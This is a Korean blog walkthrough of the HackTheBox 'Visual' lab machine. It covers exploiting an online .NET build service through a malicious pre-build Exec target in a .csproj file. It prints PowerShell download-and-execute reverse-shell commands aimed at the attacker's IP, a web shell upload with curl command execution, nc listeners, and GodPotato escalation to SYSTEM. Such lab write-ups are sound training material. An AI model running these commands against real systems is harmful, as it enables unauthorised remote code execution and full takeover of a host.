HackTheBox 오픈베타 시즌3의 첫번째 머신으로 Windows로 출시됐다. 해당 머신을 해결하는 과정을 기록한다.

1. Recon

1.1. Port Scan

포트 스캔 결과 Windows 머신이기에 다양한 포트들이 나타날것으로 예상했던것과 달리 80/tcp 하나의 포트만 식별되고있다.

Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-05 10:56 KST
Nmap scan report for 10.129.133.44
Host is up (0.24s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: Visual - Revolutionizing Visual Studio Builds

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.58 seconds

1.2. WEB

1.2.1. visual.htb:80

단 하나 열려있는 포트인 80/tcp 웹서비에 접근 시 아래와 같이 Repo URL을 입력하면 서버에서 빌드를 해준다고한다.

실제 동작 여부를 확인하기위해 Simple HTTP Server를 띄우고 테스트해본다.

% python3 -m http.server 9000
Serving HTTP on :: port 9000 (http://[::]:9000/) ...

submit.php에 POST Data로 Repo URL이 전달되고 처리 페이지로 확인되는 /upload/난수페이지로 리다이렉트 되는것을 볼 수 있다.

일정 시간이 지나면 해당 서버에서 HTTP Request가 들어오는것을 확인할 수 있으며, 리다이렉트 된 페이지에서 아래와 같은 에러 메세지를 확인할 수 있다.

% python3 -m http.server 9000
Serving HTTP on :: port 9000 (http://[::]:9000/) ...
::ffff:10.129.133.44 - - [05/Oct/2023 11:30:19] code 404, message File not found
::ffff:10.129.133.44 - - [05/Oct/2023 11:30:19] "GET /test/info/refs?service=git-upload-pack HTTP/1.1" 404 -

1.2.1. Fake Repo

먼저 Simple HTTP Server의 Access log를 보면 [RepoURL]/info/refs?service=git-upload-pack으로 요청이 오는데 이는 .git의 구조로 예상된다. 그렇기에 가짜 레포지토리를 생성하고 정상적인 프로세스가 진행될 수 있도록 준비한다.

% mkdir fakerepo
% cd fakerepo
% git init
$ cd .git
% python3 -m http.server 9000
Serving HTTP on :: port 9000 (http://[::]:9000/) ...

다시한번 submit.php에 Repo URL을 전달하고 기다리니 다시한번 404를 리턴했다. 생각해보니 커밋된 코드가 없어 refs가 비어있었다.

Serving HTTP on :: port 9000 (http://[::]:9000/) ...
::ffff:10.129.133.44 - - [05/Oct/2023 11:39:05] code 404, message File not found
::ffff:10.129.133.44 - - [05/Oct/2023 11:39:05] "GET /info/refs?service=git-upload-pack HTTP/1.1" 404 -

페이지에서 .NET을 지원한다고하였으니 dotnet명령을 통해 테스트용 프로젝트를 생성한다.

fakerepo % dotnet new console -n fakedotnet
"콘솔 앱" 템플릿이 성공적으로 생성되었습니다.

또 메인 페이지와 에러메세지에서 요구한 .sln 파일도 생성한다.

fakerepo % dotnet new sln -n fakedotnet
"솔루션 파일" 템플릿이 성공적으로 생성되었습니다.

테스트용 dotnet 프로젝트와 .sln 파일을 생성한 현재 프로젝트 폴더 트리는 다음과 같다.

.
├── fakedotnet
│   ├── Program.cs
│   ├── fakedotnet.csproj
│   └── obj
│       ├── fakedotnet.csproj.nuget.dgspec.json
│       ├── fakedotnet.csproj.nuget.g.props
│       ├── fakedotnet.csproj.nuget.g.targets
│       ├── project.assets.json
│       └── project.nuget.cache
└── fakedotnet.sln

이후 refs에 오브젝트를 생성하기위해 커밋을 진행한 후 .git 디렉터리에서 Simple HTTP Server를 띄우고 다시 한번 RepoURL을 전달한다.

fakerepo % git add .

fakerepo % git commit -m 'test1'
[master (최상위-커밋) 44512bf] test1
 8 files changed, 178 insertions(+)
 create mode 100644 fakedotnet.sln
 create mode 100644 fakedotnet/Program.cs
 create mode 100644 fakedotnet/fakedotnet.csproj
 create mode 100644 fakedotnet/obj/fakedotnet.csproj.nuget.dgspec.json
 create mode 100644 fakedotnet/obj/fakedotnet.csproj.nuget.g.props
 create mode 100644 fakedotnet/obj/fakedotnet.csproj.nuget.g.targets
 create mode 100644 fakedotnet/obj/project.assets.json
 create mode 100644 fakedotnet/obj/project.nuget.cache
 
fakerepo % cd .git
.git % git --bare update-server-info

웹 서비스로부터 로컬 깃 경로에 띄워둔 공격자 웹 서버로 Repo정보를 가져간 후 오브젝트를 읽는 모습을 확인할 수 있다.

.git % python3 -m http.server 9000
Serving HTTP on :: port 9000 (http://[::]:9000/) ...
::ffff:10.129.133.44 - - [05/Oct/2023 12:58:37] "GET /info/refs?service=git-upload-pack HTTP/1.1" 200 -
::ffff:10.129.133.44 - - [05/Oct/2023 12:58:37] "GET /HEAD HTTP/1.1" 200 -
::ffff:10.129.133.44 - - [05/Oct/2023 12:58:38] "GET /objects/44/512bffad1fc8322ab2b5dfb4d853a1beb6b0e4 HTTP/1.1" 200 -
::ffff:10.129.133.44 - - [05/Oct/2023 12:58:38] "GET /objects/93/3e84c98797577f4c946279b0ff45e6d56cc870 HTTP/1.1" 200 -
::ffff:10.129.133.44 - - [05/Oct/2023 12:58:39] "GET /objects/ba/4cbd854951eaee63ff7d4dd3d6e02da94705a2 HTTP/1.1" 200 -
::ffff:10.129.133.44 - - [05/Oct/2023 12:58:39] "GET /objects/bb/32f5903f953b1d8cb5627b0067197ebe8ab66e HTTP/1.1" 200 -
::ffff:10.129.133.44 - - [05/Oct/2023 12:58:39] "GET /objects/83/fa4f4d5fd1f545f64172b044a07814db23104f HTTP/1.1" 200 -
::ffff:10.129.133.44 - - [05/Oct/2023 12:58:39] "GET /objects/d4/39800007d7d9fd0a7e9179b8d122498de1755b HTTP/1.1" 200 -
::ffff:10.129.133.44 - - [05/Oct/2023 12:58:39] "GET /objects/44/df6a875df691ba7d6627811a34ead25d5c2e4a HTTP/1.1" 200 -
::ffff:10.129.133.44 - - [05/Oct/2023 12:58:40] "GET /objects/08/d7b0870c70f3fc82d84446f17b9501a3fd6e1b HTTP/1.1" 200 -
::ffff:10.129.133.44 - - [05/Oct/2023 12:58:40] "GET /objects/3d/c06ef3cc4057524bf5d2cd49936dff789cebe8 HTTP/1.1" 200 -
::ffff:10.129.133.44 - - [05/Oct/2023 12:58:40] "GET /objects/14/7ab5711f2e32b84702d68f913c48ff376a4080 HTTP/1.1" 200 -
::ffff:10.129.133.44 - - [05/Oct/2023 12:58:40] "GET /objects/69/5885eeb8fccc81cfc38bf2b8403f728e5192e7 HTTP/1.1" 200 -
::ffff:10.129.133.44 - - [05/Oct/2023 12:58:40] "GET /objects/57/8abcc34cd20e8fa30962700db9a02d7b9e7202 HTTP/1.1" 200 -

submit.php에서 리다이렉트되는 결과 페이지에서도 전달한 RepoURL의 레포지토리가 빌드 조건을 모두 만족하였기에 빌드가 성공했다고 출력된다.

위에서 git init과 dotnet new 명령의 순서가 뒤바뀌었다...
정상적이라면 dotnet 프로젝트를 생성하고 그 프로젝트 디렉터리 안에서 .sln 파일을 생성하고 git init과 커밋을 진행하고 .git에서 저장소의 정보를 업데이트해야된다! 그렇기에 명령은 같지만 순서를 변경하여 새로운 레포지토리를 다시 만들었다😭

visual % dotnet new console -n fakedotnet
"콘솔 앱" 템플릿이 성공적으로 생성되었습니다.

visual % cd fakedotnet
fakedotnet % dotnet new sln -n fakedotnet
"솔루션 파일" 템플릿이 성공적으로 생성되었습니다.

fakedotnet % dotnet sln fakedotnet.sln add fakedotnet.csproj
'fakedotnet.csproj' 프로젝트가 솔루션에 추가되었습니다.

fakedotnet % git init
/Users/junsoo.jo/Desktop/HTB/visual/fakedotnet/.git/ 안의 빈 깃 저장소를 다시 초기화했습니다
fakedotnet % git add .
fakedotnet % git commit -m 'test2'

fakedotnet % cd .git
.git % git --bare update-server-info

.git % python3 -m http.server 9000
Serving HTTP on :: port 9000 (http://[::]:9000/) ...

위에서의 순서오류로인해 dotnet 프로젝트 구조에 오류가있어 가짜 레포지토리를 새로 생성하였다. 그렇기에 다시 RepoURL을 서버에 전달한다. 약간의 시간이 지나면 빌드가 완성되어 빌드의 결과인 exe, dll, pdb등을 다운로드할 수 있다!

현재까지는 웹 서버에서 요구하는 빌드를 위한 정상 조건으로 빌드 과정을 훑어보았다. 이제 dotnet 메인 코드에서 고의로 에러를 유발시켜 에러 메세지를 통해 얻을 수 있는 정보를 확인해보기위해 Program.cs 파일의 내용을 아래와 같이 세미콜론을 제거하여 컴파일 에러를 유도해본다. 코드가 변경되었으니 refs에 커밋을 반영하기위해 다시한번 커밋 후 refs에 커밋정보를 반영시킨다.

fakedotnet % cat Program.cs
// See https://aka.ms/new-console-template for more information
Console.WriteLine("Hello, World!")

fakedotnet % git add .
fakedotnet % git commit -m 'test3'
[master 0f9a0c4] test3
 1 file changed, 1 insertion(+), 1 deletion(-)
 
fakedotnet % cd .git
.git % git --bare update-server-info

이후 다시한번 RepoURL을 전달하고 일정 시간이 흐르니 에러 메세지를 확인할 수 있었다.

긴 에러메세지에서 확인할 수 있는 정보는 각각 다음과 같았다.

MSBuild, Currnet Path

Logging verbosity is set to: Detailed.Process = "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\msbuild.exe"
MSBuild executable path = "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\msbuild.exe"
Command line arguments = ""C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\msbuild.exe" C:\Windows\Temp\2e7aa45566fb47616f83b90903a55d /p:OutDir=C:\xampp\htdocs\uploads\2e7aa45566fb47616f83b90903a55d /fileLogger /fileLoggerParameters:LogFile=C:\xampp\htdocs\uploads\2e7aa45566fb47616f83b90903a55d\build.output "
Current directory = "C:\Windows\System32\WindowsPowerShell\v1.0"
MSBuild version = "17.6.3+07e294721"

Current User (enox)

Property 'LOCALAPPDATA' with value 'C:\Users\enox\AppData\Local' expanded from the environment.

2. Foothold

다양한 방식으로 초기 침투를 위한 진행을 했으나 빌드만 할뿐이지 서버측에서 실행되진않는다. 빌드 과정에서 커멘드를 실행할 수 있는 방법이 없나 찾다가 Visual Studio Buold Events를 확인할 수 있었다.

2.1. Build Events

위 MS문서를 참고하여 생성한 fakedotnet 프로젝트 파일인 fakedotnet.csproj를 아래와 같이 수정한다.

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net7.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <Target Name="Shell" BeforeTargets="Build">
    <Exec Command="ping 10.10.14.8" />
  </Target>

</Project>

위에서 에러 확인을 위해 제거했던 Program.cs 내 세미콜론(;)도 다시 추가했다.

프로젝트가 변경되었으니 다시 커밋 후 업데이트를 진행한다.

fakedotnet % git add .
fakedotnet % git commit -m 'test4'
[master b46c9cb] test4
 1 file changed, 3 insertions(+)
 
fakedotnet % cd .git
.git % git --bare update-server-info

ping 체크를 확인하기위해 wireshark로 패킷을 모니터링하면서 다시 RepoURL을 전달하니 Build Events로 명시한 ping 커멘드가 실행되면서 ICMP 패킷이 송수신되는것을 확인할 수 있다.

3. User

위에서 MSBuild를 통해 빌드하는 과정에서 dotnet 프로젝트 파일 내 Build Events를 지정하여 빌드시 명령 실행이 가능한것을 파악할 수 있었다. 이제 리버스 커넥션 커멘드를 전달하여 유저 터미널을 획득한다.

3.1. enox

빌드 에러에서도 확인했지만, MSBuild를 실행하는 유저는 enox 계정으로 확인했었다. enox 계정의 쉘을 획득하기위해 fakedotnet.csproj의 내용을 아래와 같이 수정하였다.

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net7.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <Target Name="Shell" BeforeTargets="Build">
    <Exec Command="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.8:9001/revshell.ps1')" />
  </Target>
  
</Project>

💡 PowerShell 경로는 빌드 에러에서 확인된 경로로 유추할 수 있었다.

Mac에서 진행이 매끄럽지 않아 Kali로 변경하여 계속 진행한다....

PowerShell을 통해 공격자 서버에있는 revshell.ps1를 읽어 실행하는 리버스 쉘을 통해 enox 계정의 쉘을 획득하는데 성공하였다.

3.1.1. WinPEAS

enox 계정의 터미널에서 시스템 스캔을 위해 WinPEAS를 업로드한다. 이때는 impacket-smbserver를 이용해보겠다.

┌──(root㉿kali)-[~/Desktop/WinPwnTools]
└─# impacket-smbserver -username 'juicemon' -password '1234' juiceshare . -smb2support

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

다시 enox 쉘에서 SMB에 연결하여 WinPEAS를 실행한다. 하지만 일반적으로 건질 수 있는 정보들만 건질 수 있었고 특별한 권한이나 파일은 확인되지않았다.

SHELL>  net use \\10.10.14.8\juiceshare /u:juicemon 1234
The command completed successfully.

SHELL> cd \\10.10.14.8\juiceshare
SHELL> .\winPEASx64.exe

3.2. local service

80/tcp에서 서비스 중인 웹 서버는 xampp 으로 구성되있는것으로 확인된다.

SHELL> cd C:\
SHELL> ls


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        11/5/2022  12:03 PM                PerfLogs
d-r---        6/10/2023  11:00 AM                Program Files
d-----        6/10/2023  10:51 AM                Program Files (x86)
d-r---        6/10/2023  10:59 AM                Users
d-----        9/19/2023   6:44 AM                Windows
d-----        6/10/2023  10:32 AM                xampp

3.3. Administrator

enox 계정은 xampp 디렉터리에 쓰기 권한이 존재하여 서비스 계정의 쉘을 얻기위해 웹쉘을 업로드한다.

SHELL> net use \\10.10.14.8\share /u:juicemon 1234
SHELL> cd \\10.10.14.8\share
SHELL> Copy shell.php C:\xampp\htdocs\uploads\shell.php

웹쉘이 업로드되었으며 local service 계정의 권한으로 동작하고 있는 것을 확인할 수 있다.

┌──(root㉿kali)-[~]
└─# curl 'http://visual.htb/uploads/shell.php?_=whoami'
nt authority\local service

이번에도 리버스 커넥션을 맺는 파워쉘 스크립트를 다운로드하고 실행 시켜 서비스 계정의 권한의 쉘을 얻을 수 있었다.

curl 'http://10.129.229.122/uploads/shell.php?_=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe%20IEX(New-Object%20Net.WebClient).downloadString(%27http://10.10.14.8:9001/revshell2.ps1%27)'
┌──(root㉿kali)-[~/Desktop/visual]
└─# nc -lvnp 30001
listening on [any] 30001 ...
connect to [10.10.14.8] from (UNKNOWN) [10.129.229.122] 49703
SHELL> whoami
nt authority\local service

SHELL> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeCreateGlobalPrivilege       Create global objects          Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

서비스 계정의 쉘을 획득한 후 권한을 서비스 계정의 권한을 복구하기위해 FullPowers를 통해 권한이 복구된 서비스 계정의 쉘을 획득했다.

SHELL> .\FullPowers.exe -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.8:9001/revshell3.ps1')"
┌──(root㉿kali)-[~/Desktop/visual/juicemon/.git]
└─# nc -lvnp 30002
listening on [any] 30002 ...
connect to [10.10.14.8] from (UNKNOWN) [10.129.229.122] 49746
SHELL> whoami
nt authority\local service
SHELL> pwd

Path
----
C:\Windows\system32


SHELL> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

GodPotato

Windows는 뭔 감자 시리즈가 정말 많아서 공부할게 너무 많다... 관리자 권한을 얻기 위해 RottenPotato를 시작으로 모든 Potato 권한 상승 트릭을 집합하고 모든 Windows OS에서 실행이 가능하도록 제작된 말그대로 GodPotato를 사용하면 아래와 같이 관리자로 권한 상승이 가능하다.

SHELL> .\GodPotato.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x140718436253696
[*] DispatchTable: 0x140718438559856
[*] UseProtseqFunction: 0x140718437936032
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\eeeb4c01-fd32-440b-a451-dc7b52de97d5\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00006802-0368-ffff-5481-2c19c460d0b9
[*] DCOM obj OXID: 0x3b2a8b6103df1bc8
[*] DCOM obj OID: 0xc4e3c27f7377c4d1
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 884 Token:0x800  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 756
nt authority\system
profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글